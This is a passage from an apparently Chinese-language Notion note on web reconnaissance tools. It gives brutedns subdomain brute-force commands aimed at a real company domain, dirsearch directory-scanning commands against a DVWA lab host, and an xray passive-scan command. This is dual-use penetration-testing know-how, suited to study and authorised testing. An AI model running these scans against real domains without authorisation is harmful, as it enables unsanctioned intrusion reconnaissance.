</code></pre></ol></ol><ol start="2" class="notion-list notion-list-numbered notion-block-668b94e253cc4489a493092ca3897896"><li>安装依赖</li><ol class="notion-list notion-list-numbered notion-block-668b94e253cc4489a493092ca3897896"><pre class="notion-code"><div class="notion-code-copy"><div class="notion-code-copy-button"><svg fill="currentColor" viewBox="0 0 16 16" width="1em" version="1.1"><path fill-rule="evenodd" d="M0 6.75C0 5.784.784 5 1.75 5h1.5a.75.75 0 010 1.5h-1.5a.25.25 0 00-.25.25v7.5c0 .138.112.25.25.25h7.5a.25.25 0 00.25-.25v-1.5a.75.75 0 011.5 0v1.5A1.75 1.75 0 019.25 16h-7.5A1.75 1.75 0 010 14.25v-7.5z"></path><path fill-rule="evenodd" d="M5 1.75C5 .784 5.784 0 6.75 0h7.5C15.216 0 16 .784 16 1.75v7.5A1.75 1.75 0 0114.25 11h-7.5A1.75 1.75 0 015 9.25v-7.5zm1.75-.25a.25.25 0 00-.25.25v7.5c0 .138.112.25.25.25h7.5a.25.25 0 00.25-.25v-7.5a.25.25 0 00-.25-.25h-7.5z"></path></svg></div></div><code class="language-powershell">pip install -r requirement.txt
</code></pre></ol></ol><h4 class="notion-h notion-h3 notion-h-indent-1 notion-block-09d2219c217c4d43af1b3b000aa0bd3a" data-id="09d2219c217c4d43af1b3b000aa0bd3a"><span><div id="09d2219c217c4d43af1b3b000aa0bd3a" class="notion-header-anchor"></div><a class="notion-hash-link" href="#09d2219c217c4d43af1b3b000aa0bd3a" title="常规扫描："><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">常规扫描：</span></span></h4><pre class="notion-code"><div class="notion-code-copy"><div class="notion-code-copy-button"><svg fill="currentColor" viewBox="0 0 16 16" width="1em" version="1.1"><path fill-rule="evenodd" d="M0 6.75C0 5.784.784 5 1.75 5h1.5a.75.75 0 010 1.5h-1.5a.25.25 0 00-.25.25v7.5c0 .138.112.25.25.25h7.5a.25.25 0 00.25-.25v-1.5a.75.75 0 011.5 0v1.5A1.75 1.75 0 019.25 16h-7.5A1.75 1.75 0 010 14.25v-7.5z"></path><path fill-rule="evenodd" d="M5 1.75C5 .784 5.784 0 6.75 0h7.5C15.216 0 16 .784 16 1.75v7.5A1.75 1.75 0 0114.25 11h-7.5A1.75 1.75 0 015 9.25v-7.5zm1.75-.25a.25.25 0 00-.25.25v7.5c0 .138.112.25.25.25h7.5a.25.25 0 00.25-.25v-7.5a.25.25 0 00-.25-.25h-7.5z"></path></svg></div></div><code class="language-powershell">python3 brutedns.py -d dbappsecurity.com.cn -s fast -l 2
</code></pre><figure class="notion-asset-wrapper notion-asset-wrapper-image notion-block-09ff1328cdd5465f99ba4c4f09265f25"><div style="position:relative;display:flex;justify-content:center;align-self:center;width:100%;max-width:100%;flex-direction:column"><img src="https://cdn.jsdelivr.net/gh/EasyDreams27/hexo-file-hexo-master@master/HexoArticleImages/20210831164542.jpeg" alt="notion image" loading="lazy" decoding="async"/></div></figure><h4 class="notion-h notion-h3 notion-h-indent-1 notion-block-24f7a519747245f69396ea8292bfd00c" data-id="24f7a519747245f69396ea8292bfd00c"><span><div id="24f7a519747245f69396ea8292bfd00c" class="notion-header-anchor"></div><a class="notion-hash-link" href="#24f7a519747245f69396ea8292bfd00c" title="d 指定URL"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">d 指定URL</span></span></h4><pre class="notion-code"><div class="notion-code-copy"><div class="notion-code-copy-button"><svg fill="currentColor" viewBox="0 0 16 16" width="1em" version="1.1"><path fill-rule="evenodd" d="M0 6.75C0 5.784.784 5 1.75 5h1.5a.75.75 0 010 1.5h-1.5a.25.25 0 00-.25.25v7.5c0 .138.112.25.25.25h7.5a.25.25 0 00.25-.25v-1.5a.75.75 0 011.5 0v1.5A1.75 1.75 0 019.25 16h-7.5A1.75 1.75 0 010 14.25v-7.5z"></path><path fill-rule="evenodd" d="M5 1.75C5 .784 5.784 0 6.75 0h7.5C15.216 0 16 .784 16 1.75v7.5A1.75 1.75 0 0114.25 11h-7.5A1.75 1.75 0 015 9.25v-7.5zm1.75-.25a.25.25 0 00-.25.25v7.5c0 .138.112.25.25.25h7.5a.25.25 0 00.25-.25v-7.5a.25.25 0 00-.25-.25h-7.5z"></path></svg></div></div><code class="language-powershell">python3 brutedns.py -d dbappsecurity.com.cn
</code></pre><h4 class="notion-h notion-h3 notion-h-indent-1 notion-block-4d4aa0b1214c434aa3cb75a0f2e271f0" data-id="4d4aa0b1214c434aa3cb75a0f2e271f0"><span><div id="4d4aa0b1214c434aa3cb75a0f2e271f0" class="notion-header-anchor"></div><a class="notion-hash-link" href="#4d4aa0b1214c434aa3cb75a0f2e271f0" title="s 探测速度"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">s 探测速度</span></span></h4><blockquote class="notion-quote notion-block-8df410db25c642a39f1727f24da2161c"><div>速度模式,三种速度模式:fast,medium,low</div></blockquote><pre class="notion-code"><div class="notion-code-copy"><div class="notion-code-copy-button"><svg fill="currentColor" viewBox="0 0 16 16" width="1em" version="1.1"><path fill-rule="evenodd" d="M0 6.75C0 5.784.784 5 1.75 5h1.5a.75.75 0 010 1.5h-1.5a.25.25 0 00-.25.25v7.5c0 .138.112.25.25.25h7.5a.25.25 0 00.25-.25v-1.5a.75.75 0 011.5 0v1.5A1.75 1.75 0 019.25 16h-7.5A1.75 1.75 0 010 14.25v-7.5z"></path><path fill-rule="evenodd" d="M5 1.75C5 .784 5.784 0 6.75 0h7.5C15.216 0 16 .784 16 1.75v7.5A1.75 1.75 0 0114.25 11h-7.5A1.75 1.75 0 015 9.25v-7.5zm1.75-.25a.25.25 0 00-.25.25v7.5c0 .138.112.25.25.25h7.5a.25.25 0 00.25-.25v-7.5a.25.25 0 00-.25-.25h-7.5z"></path></svg></div></div><code class="language-powershell">brutedns.py -d dbappsecurity.com.cn -s fast
</code></pre><h4 class="notion-h notion-h3 notion-h-indent-1 notion-block-b6bd44eae5fd4d27ba2854f8a86c8c5e" data-id="b6bd44eae5fd4d27ba2854f8a86c8c5e"><span><div id="b6bd44eae5fd4d27ba2854f8a86c8c5e" class="notion-header-anchor"></div><a class="notion-hash-link" href="#b6bd44eae5fd4d27ba2854f8a86c8c5e" title="l 探测等级"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">l 探测等级</span></span></h4><blockquote class="notion-quote notion-block-d3c7fbba3ef14c5fbc1a1d5228390b67"><div>指定探测域名等级，2级域名或者3级域名？</div><div class="notion-text notion-block-5790009d82eb4ed28e74df5367ea152a">2:w.baidu.com; 3:w.w.baidu.com;</div></blockquote><pre class="notion-code"><div class="notion-code-copy"><div class="notion-code-copy-button"><svg fill="currentColor" viewBox="0 0 16 16" width="1em" version="1.1"><path fill-rule="evenodd" d="M0 6.75C0 5.784.784 5 1.75 5h1.5a.75.75 0 010 1.5h-1.5a.25.25 0 00-.25.25v7.5c0 .138.112.25.25.25h7.5a.25.25 0 00.25-.25v-1.5a.75.75 0 011.5 0v1.5A1.75 1.75 0 019.25 16h-7.5A1.75 1.75 0 010 14.25v-7.5z"></path><path fill-rule="evenodd" d="M5 1.75C5 .784 5.784 0 6.75 0h7.5C15.216 0 16 .784 16 1.75v7.5A1.75 1.75 0 0114.25 11h-7.5A1.75 1.75 0 015 9.25v-7.5zm1.75-.25a.25.25 0 00-.25.25v7.5c0 .138.112.25.25.25h7.5a.25.25 0 00.25-.25v-7.5a.25.25 0 00-.25-.25h-7.5z"></path></svg></div></div><code class="language-powershell">python3 brutedns.py -d dbappsecurity.com.cn -l 2
</code></pre><div class="notion-text notion-block-8ba6106097fe4439869ecf9bd268de3c">###########################################################################</div><h2 class="notion-h notion-h1 notion-h-indent-0 notion-block-b25ee39ac33148cc98ac311e801e6ff5" data-id="b25ee39ac33148cc98ac311e801e6ff5"><span><div id="b25ee39ac33148cc98ac311e801e6ff5" class="notion-header-anchor"></div><a class="notion-hash-link" href="#b25ee39ac33148cc98ac311e801e6ff5" title="目录扫描-模糊测试"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">目录扫描-模糊测试</span></span></h2><h3 class="notion-h notion-h2 notion-h-indent-1 notion-block-9f4627b2612e4228943b3b98985afaea" data-id="9f4627b2612e4228943b3b98985afaea"><span><div id="9f4627b2612e4228943b3b98985afaea" class="notion-header-anchor"></div><a class="notion-hash-link" href="#9f4627b2612e4228943b3b98985afaea" title="DIRSEARCH"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">DIRSEARCH</span></span></h3><h4 class="notion-h notion-h3 notion-h-indent-2 notion-block-114417635bb14310acf4e4fb5290b3eb" data-id="114417635bb14310acf4e4fb5290b3eb"><span><div id="114417635bb14310acf4e4fb5290b3eb" class="notion-header-anchor"></div><a class="notion-hash-link" href="#114417635bb14310acf4e4fb5290b3eb" title="常规扫描"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">常规扫描</span></span></h4><pre class="notion-code"><div class="notion-code-copy"><div class="notion-code-copy-button"><svg fill="currentColor" viewBox="0 0 16 16" width="1em" version="1.1"><path fill-rule="evenodd" d="M0 6.75C0 5.784.784 5 1.75 5h1.5a.75.75 0 010 1.5h-1.5a.25.25 0 00-.25.25v7.5c0 .138.112.25.25.25h7.5a.25.25 0 00.25-.25v-1.5a.75.75 0 011.5 0v1.5A1.75 1.75 0 019.25 16h-7.5A1.75 1.75 0 010 14.25v-7.5z"></path><path fill-rule="evenodd" d="M5 1.75C5 .784 5.784 0 6.75 0h7.5C15.216 0 16 .784 16 1.75v7.5A1.75 1.75 0 0114.25 11h-7.5A1.75 1.75 0 015 9.25v-7.5zm1.75-.25a.25.25 0 00-.25.25v7.5c0 .138.112.25.25.25h7.5a.25.25 0 00.25-.25v-7.5a.25.25 0 00-.25-.25h-7.5z"></path></svg></div></div><code class="language-powershell">python3 dirsearch.py -e *  -x 403  -t 20  -u &lt;http://192.168.12.13/dvwa/&gt;
</code></pre><figure class="notion-asset-wrapper notion-asset-wrapper-image notion-block-5f4efe2f2a154e7c97b0aa40a7023905"><div style="position:relative;display:flex;justify-content:center;align-self:center;width:100%;max-width:100%;flex-direction:column"><img src="https://cdn.jsdelivr.net/gh/EasyDreams27/hexo-file-hexo-master@master/HexoArticleImages/20210831162456.png" alt="notion image" loading="lazy" decoding="async"/></div></figure><h4 class="notion-h notion-h3 notion-h-indent-2 notion-block-eeaab899d26848c184acdbb2bc94a7b0" data-id="eeaab899d26848c184acdbb2bc94a7b0"><span><div id="eeaab899d26848c184acdbb2bc94a7b0" class="notion-header-anchor"></div><a class="notion-hash-link" href="#eeaab899d26848c184acdbb2bc94a7b0" title="c 指定COOKIES"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">c 指定COOKIES</span></span></h4><pre class="notion-code"><div class="notion-code-copy"><div class="notion-code-copy-button"><svg fill="currentColor" viewBox="0 0 16 16" width="1em" version="1.1"><path fill-rule="evenodd" d="M0 6.75C0 5.784.784 5 1.75 5h1.5a.75.75 0 010 1.5h-1.5a.25.25 0 00-.25.25v7.5c0 .138.112.25.25.25h7.5a.25.25 0 00.25-.25v-1.5a.75.75 0 011.5 0v1.5A1.75 1.75 0 019.25 16h-7.5A1.75 1.75 0 010 14.25v-7.5z"></path><path fill-rule="evenodd" d="M5 1.75C5 .784 5.784 0 6.75 0h7.5C15.216 0 16 .784 16 1.75v7.5A1.75 1.75 0 0114.25 11h-7.5A1.75 1.75 0 015 9.25v-7.5zm1.75-.25a.25.25 0 00-.25.25v7.5c0 .138.112.25.25.25h7.5a.25.25 0 00.25-.25v-7.5a.25.25 0 00-.25-.25h-7.5z"></path></svg></div></div><code class="language-powershell">python3 dirsearch.py -e *  -x 403  -t 20  -u &lt;http://192.168.12.13/dvwa/&gt;  -c &quot;Cookie: security=high; PHPSESSID=b7224986 1f66b03958e3a23a1cd08c73&quot;
</code></pre><h4 class="notion-h notion-h3 notion-h-indent-2 notion-block-15d747c3c2464d0288991e06bc273e10" data-id="15d747c3c2464d0288991e06bc273e10"><span><div id="15d747c3c2464d0288991e06bc273e10" class="notion-header-anchor"></div><a class="notion-hash-link" href="#15d747c3c2464d0288991e06bc273e10" title="-proxy 指定代理"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">-proxy 指定代理</span></span></h4><pre class="notion-code"><div class="notion-code-copy"><div class="notion-code-copy-button"><svg fill="currentColor" viewBox="0 0 16 16" width="1em" version="1.1"><path fill-rule="evenodd" d="M0 6.75C0 5.784.784 5 1.75 5h1.5a.75.75 0 010 1.5h-1.5a.25.25 0 00-.25.25v7.5c0 .138.112.25.25.25h7.5a.25.25 0 00.25-.25v-1.5a.75.75 0 011.5 0v1.5A1.75 1.75 0 019.25 16h-7.5A1.75 1.75 0 010 14.25v-7.5z"></path><path fill-rule="evenodd" d="M5 1.75C5 .784 5.784 0 6.75 0h7.5C15.216 0 16 .784 16 1.75v7.5A1.75 1.75 0 0114.25 11h-7.5A1.75 1.75 0 015 9.25v-7.5zm1.75-.25a.25.25 0 00-.25.25v7.5c0 .138.112.25.25.25h7.5a.25.25 0 00.25-.25v-7.5a.25.25 0 00-.25-.25h-7.5z"></path></svg></div></div><code class="language-powershell">python3 dirsearch.py -e *  -x 403  -t 20  -u &lt;http://192.168.12.13/dvwa/&gt;  --proxy &quot;&lt;http://127.0.0.1:8080&gt;&quot;
</code></pre><figure class="notion-asset-wrapper notion-asset-wrapper-image notion-block-529ac45dbee24c209a2be15503cc6d6f"><div style="position:relative;display:flex;justify-content:center;align-self:center;width:100%;max-width:100%;flex-direction:column"><img src="https://cdn.jsdelivr.net/gh/EasyDreams27/hexo-file-hexo-master@master/HexoArticleImages/20210831163513.png" alt="notion image" loading="lazy" decoding="async"/></div></figure><h4 class="notion-h notion-h3 notion-h-indent-2 notion-block-9f1ab5ae213a465eaa4652f2e60a3894" data-id="9f1ab5ae213a465eaa4652f2e60a3894"><span><div id="9f1ab5ae213a465eaa4652f2e60a3894" class="notion-header-anchor"></div><a class="notion-hash-link" href="#9f1ab5ae213a465eaa4652f2e60a3894" title="u 指定扫描目标"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">u 指定扫描目标</span></span></h4><h4 class="notion-h notion-h3 notion-h-indent-2 notion-block-ff396b085bd444d99fc2c34ff78ed264" data-id="ff396b085bd444d99fc2c34ff78ed264"><span><div id="ff396b085bd444d99fc2c34ff78ed264" class="notion-header-anchor"></div><a class="notion-hash-link" href="#ff396b085bd444d99fc2c34ff78ed264" title="e 指定扫描类型"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">e 指定扫描类型</span></span></h4><h4 class="notion-h notion-h3 notion-h-indent-2 notion-block-0144fc06d80d44138c73deb64d0026d1" data-id="0144fc06d80d44138c73deb64d0026d1"><span><div id="0144fc06d80d44138c73deb64d0026d1" class="notion-header-anchor"></div><a class="notion-hash-link" href="#0144fc06d80d44138c73deb64d0026d1" title="x 状态码排除"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">x 状态码排除</span></span></h4><h3 class="notion-h notion-h2 notion-h-indent-1 notion-block-e6085bfdc8f44aa4983ea2abd9d32a37" data-id="e6085bfdc8f44aa4983ea2abd9d32a37"><span><div id="e6085bfdc8f44aa4983ea2abd9d32a37" class="notion-header-anchor"></div><a class="notion-hash-link" href="#e6085bfdc8f44aa4983ea2abd9d32a37" title="XRAY"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">XRAY</span></span></h3><h4 class="notion-h notion-h3 notion-h-indent-2 notion-block-9052228091e64be4b70bab33dbe7503a" data-id="9052228091e64be4b70bab33dbe7503a"><span><div id="9052228091e64be4b70bab33dbe7503a" class="notion-header-anchor"></div><a class="notion-hash-link" href="#9052228091e64be4b70bab33dbe7503a" title="安装使用"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">安装使用</span></span></h4><pre class="notion-code"><div class="notion-code-copy"><div class="notion-code-copy-button"><svg fill="currentColor" viewBox="0 0 16 16" width="1em" version="1.1"><path fill-rule="evenodd" d="M0 6.75C0 5.784.784 5 1.75 5h1.5a.75.75 0 010 1.5h-1.5a.25.25 0 00-.25.25v7.5c0 .138.112.25.25.25h7.5a.25.25 0 00.25-.25v-1.5a.75.75 0 011.5 0v1.5A1.75 1.75 0 019.25 16h-7.5A1.75 1.75 0 010 14.25v-7.5z"></path><path fill-rule="evenodd" d="M5 1.75C5 .784 5.784 0 6.75 0h7.5C15.216 0 16 .784 16 1.75v7.5A1.75 1.75 0 0114.25 11h-7.5A1.75 1.75 0 015 9.25v-7.5zm1.75-.25a.25.25 0 00-.25.25v7.5c0 .138.112.25.25.25h7.5a.25.25 0 00.25-.25v-7.5a.25.25 0 00-.25-.25h-7.5z"></path></svg></div></div><code class="language-powershell"></code></pre><h4 class="notion-h notion-h3 notion-h-indent-2 notion-block-a64e1636d826443bbc3139f372f0a422" data-id="a64e1636d826443bbc3139f372f0a422"><span><div id="a64e1636d826443bbc3139f372f0a422" class="notion-header-anchor"></div><a class="notion-hash-link" href="#a64e1636d826443bbc3139f372f0a422" title="常规扫描"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">常规扫描</span></span></h4><h4 class="notion-h notion-h3 notion-h-indent-2 notion-block-f44e7a3a81594570a61b360b5d509932" data-id="f44e7a3a81594570a61b360b5d509932"><span><div id="f44e7a3a81594570a61b360b5d509932" class="notion-header-anchor"></div><a class="notion-hash-link" href="#f44e7a3a81594570a61b360b5d509932" title="-listen 被动扫描"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">-listen 被动扫描</span></span></h4><pre class="notion-code"><div class="notion-code-copy"><div class="notion-code-copy-button"><svg fill="currentColor" viewBox="0 0 16 16" width="1em" version="1.1"><path fill-rule="evenodd" d="M0 6.75C0 5.784.784 5 1.75 5h1.5a.75.75 0 010 1.5h-1.5a.25.25 0 00-.25.25v7.5c0 .138.112.25.25.25h7.5a.25.25 0 00.25-.25v-1.5a.75.75 0 011.5 0v1.5A1.75 1.75 0 019.25 16h-7.5A1.75 1.75 0 010 14.25v-7.5z"></path><path fill-rule="evenodd" d="M5 1.75C5 .784 5.784 0 6.75 0h7.5C15.216 0 16 .784 16 1.75v7.5A1.75 1.75 0 0114.25 11h-7.5A1.75 1.75 0 015 9.25v-7.5zm1.75-.25a.25.25 0 00-.25.25v7.5c0 .138.112.25.25.25h7.5a.25.25 0 00.25-.25v-7.5a.25.25 0 00-.25-.25h-7.5z"></path></svg></div></div><code class="language-powershell">--html-output: 当扫描没有发现问题时，则不会生成结果文件。
</code></pre><pre class="notion-code"><div class="notion-code-copy"><div class="notion-code-copy-button"><svg fill="currentColor" viewBox="0 0 16 16" width="1em" version="1.1"><path fill-rule="evenodd" d="M0 6.75C0 5.784.784 5 1.75 5h1.5a.75.75 0 010 1.5h-1.5a.25.25 0 00-.25.25v7.5c0 .138.112.25.25.25h7.5a.25.25 0 00.25-.25v-1.5a.75.75 0 011.5 0v1.5A1.75 1.75 0 019.25 16h-7.5A1.75 1.75 0 010 14.25v-7.5z"></path><path fill-rule="evenodd" d="M5 1.75C5 .784 5.784 0 6.75 0h7.5C15.216 0 16 .784 16 1.75v7.5A1.75 1.75 0 0114.25 11h-7.5A1.75 1.75 0 015 9.25v-7.5zm1.75-.25a.25.25 0 00-.25.25v7.5c0 .138.112.25.25.25h7.5a.25.25 0 00.25-.25v-7.5a.25.25 0 00-.25-.25h-7.5z"></path></svg></div></div><code class="language-powershell">.\\xray_windows_amd64.exe webscan --listen 127.0.0.1:7777 --html-output xray-testphp.html
